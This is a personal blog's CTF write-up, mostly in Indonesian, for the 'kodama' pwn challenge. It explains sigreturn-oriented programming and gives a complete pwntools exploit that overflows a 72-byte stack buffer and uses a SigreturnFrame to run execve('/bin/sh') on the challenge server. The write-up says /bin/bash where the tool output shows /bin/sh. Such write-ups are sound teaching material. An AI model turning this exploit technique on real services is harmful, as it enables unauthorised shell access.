← writeups

Pwn · Medium · PlayITPlus · Nov 08, 2026

kodama

Sigreturn Oriented Programming (SROP) challenge, but it's easier cuz in the binary have the /bin/bash string. So we doesn't have to input the /bin/bash at .bss.

  • SROP
  • BUFFER OVERFLOW
  • SYSCALL
  • LINUX

kodama

Sigreturn Oriented Programming (SROP) challenge, but it's easier cuz in the binary have the /bin/bash string. So we doesn't have to input the /bin/bash at .bss.

1794213639235187297.png

TL;DR

SROP

AI (not really useful, i can solve this within minute but i want the firstblood faster hehe)

https://chat.deepseek.com/share/vowtyiuy0r0pv4iyh4

Challenge

  • Poin / solves: 460 / 14

  • Deskripsi: kodama is listening in the valley.

Recon

firstly kita checksec, ternyata semua proteksi mati kecuali NX, jadinya ngga bisa langsung shellcode.

bash
~/ctf/playit/pwn/kodama
❯ checksec kodama                                                               󰥔 09:01:11
[*] '/home/claritys/ctf/playit/pwn/kodama/kodama'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Vulnerability

Setelah kita decompile, yang penting adalah ini:

text
//----- (0000000000401010) ----------------------------------------------------
signed __int64 vuln()
{
  char buf[72]; // [rsp+0h] [rbp-48h] BYREF

  return sys_read(0, buf, 0x200u);
}

//----- (0000000000401030) ----------------------------------------------------
void __noreturn start()
{
  sys_write(1u, "kodama is listening. speak into the valley.\n> ", 0x2Eu);
  vuln();
  sys_exit(0);
}

karena dia memakai sys, jadi aku langsung search digoogle WU WU tentangnya.

Exploit plan

Aku dapet referensi ini:

Aku tau ini itu chall srop based on pengalaman juga sih, tapi sempet ngira kalau ini ret2syscall sebentar doang karena sebelumnya sering ngerjain chall ret2syscall.

(Biar diinilai sigma WU nya) Before we ngerakit payloadnya, I think lebih baik kita jelaskan dulu deh srop itu apa.

So basically srop itu dia ngemodify function lain jadi function yang kita mau, sama juga dengan ret2syscall. Almost looks alike with ret2syscall the concept is the same, but the execution aren’t the same.

How? Firstly, we must understand how syscall works and how function called in Linux Architecture. We can see it at this website:

The website give us what is the value that needed to call a function like read, write open.

image.png

Bisa kita lihat kalau ada argumen argumen yang diperlukan untuk memanggil sebuah function. Diantara lain adalah: rdi, rsi, rdx, r10, r8, dan r9. But some of the program usually use only 3 argument: rdi, rsi, and rdx.

Let’s give it an example, i take read as an example for this one:

image.png

Function read butuh rdi, rsi, dan rdx buat successfuly memanggil dia. Nah do you get the catch? How Linux membedakan function padahal diprogramnya itu nggak ada ‘NAME' kayak gitu? Jawabannya ada di RAX. Yang di mana, untuk case read itu kita pakai hex 0x0 untuk memanggil read, jadi kita harus ngeganti value RAX nya menjadi 0x biar function read kepanggil.

Jadi kesimpulannya adalah, kita bisa pake trick ini untuk memanggil function yang kita mau. Target kita adalah exec, yang di mana kita nanti jadikan dia bisa ngeeksekusi /bin/bash biar kita dapet shell.

image.png

Dapat kita lihat disitu kalau hexnya adalah 0x3b, jadi kita harus ganti RAXnya menjadi 0x3b. Lalu kita isi rdi dengan /bin/bash. Kebetulan di chall ini ada /bin/bash di dalam filenya, jadi ngga usah repot repot naruh /bin/bash di .bss.

python
~/ctf/playit/pwn/kodama
❯ strings -a -t x kodama | grep /bin/sh                                         󰥔 22:36:23
   3000 /bin/sh

Lalu untuk value yang lainnya kayak rsi dan rdx itu kita isi dengan 0 aja gapapa, karena belum berguna.

Okay that only the explanation for the syscall. Now for the srop explanation.

SROP is the S stands for Sigreturn, when did you saw like Sig*? Yup, when the program error or broken in the inside. So the SROP have a function named rt_sigreturn yang di mana ketika error atau broken, kita nggak crash terus stop, namun dia akan menjalankan rt_sigreturn, yang di mana kita bisa mengatur dia itu ngeeksekusi function apa.

Seharusnya kalau si program memang ada rt_sigreturn by default, seharusnya dia itu bakal diarahin ke function yang dimau sama programmer. Tapi gimana cara rt_sigreturndia ini memilih frame kayak rdi, rsi, rdx, r10, r8 dan r9? Yaitu dari rsp, yang di mana seharusnya kan kita ngga bisa exploit, tapi sekarang kita bisa. Jadinya si program nggak tau kalau yang ada di rsp itu adalah modified dari kita biar mendapatkan function yang kita mau.

Kita ngga usah repot repot kayak nyari cara buat naruh value mereka di sana, karena di pwntools ada yang namanya SigreturnFrame(), dialah yang mencari cara biar bisa jalan nanti proses rt_sigreturn sesuai function yang kita mau.

Jadi kita bisa membuat si program memanggil rt_sigreturn karena ada pop rax dan syscall untuk ngeeksekusi rt_sigreturn:

python
~/ctf/playit/pwn/kodama
❯ ropper --file kodama_patched --search "pop"                                   󰥔 23:00:40
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: pop

[INFO] File: kodama_patched
0x0000000000401000: pop rax; ret;
bash
~/ctf/playit/pwn/kodama
❯ ropper --file kodama_patched --search "syscall"                               󰥔 09:03:07
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: syscall

[INFO] File: kodama_patched
0x0000000000401002: syscall;
0x0000000000401002: syscall; ret;

Baru deh kita bisa rakit payloadnya jadi kek gini:

asm
    pop_rax = 0x401000
    syscall = 0x401002
    binsh = next(elf.search(b"/bin/sh\x00"))

    frame = SigreturnFrame()
    frame.rax = 0x3b          # execve
    frame.rdi = binsh
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall       # setelah frame dipulihkan, langsung syscall lagi

    payload = flat({
        72: [
            pop_rax,
            15,               # SYS_rt_sigreturn
            syscall,
            frame             # SigreturnFrame akan diserialisasi otomatis
        ]
    })

    r.sendline(payload)

Saat syscall pertama dieksekusi dengan rax=15, kernel membaca frame di stack, lalu "melompat" ke frame.rip. Karena frame.rip juga menunjuk ke syscall, dan saat itu rax sudah bernilai 0x3b, execve("/bin/sh", NULL, NULL) langsung berjalan.

image.png

Exploit

python
#!/usr/bin/env python3

from pwn import *

elf = ELF("kodama_patched")

context.binary = elf
context.terminal = ["ghostty", "-e"]
context.gdb_binary = "pwndbg"

if args.DEBUG:
    context.log_level = "debug"

gdbscript = """
set pagination off
set confirm off

break main
continue
"""

def conn():
    if args.GDB:
        r = process([elf.path])
        gdb.attach(r, gdbscript=gdbscript)
        return r

    if args.LOCAL:
        return process([elf.path])

    return remote("10.0.2.3", 4271) 

def main():
    r = conn()

    # syscall = 0x0000000000401002
    # rax = 0x0000000000401000
    # execve = 0x3b
    # binsh = next(elf.search(b"/bin/sh\x00"))
    # payload = flat({72:[
    #     rax, execve, 
    #     binsh,
    #     syscall, ]})

    # r.sendline(payload)
    pop_rax = 0x401000
    syscall = 0x401002
    binsh = next(elf.search(b"/bin/sh\x00"))

    frame = SigreturnFrame()
    frame.rax = 0x3b          # execve
    frame.rdi = binsh
    frame.rsi = 0
    frame.rdx = 0
    frame.rip = syscall       # setelah frame dipulihkan, langsung syscall lagi

    payload = flat({
        72: [
            pop_rax,
            15,               # SYS_rt_sigreturn
            syscall,
            frame             # SigreturnFrame akan diserialisasi otomatis
        ]
    })

    r.sendline(payload)
    r.interactive()
    # good luck pwning :)
    r.interactive()

if __name__ == "__main__":
    main()

flag

export & files

all writeups →

0x06 / contact

Say hi.

CTF team invites, collabs, or a challenge you think I can't pwn. I read everything.

Elang Dimas Syadewa

available · Malang

    Open email

    Your email app will open with a draft. Review it and press Send there.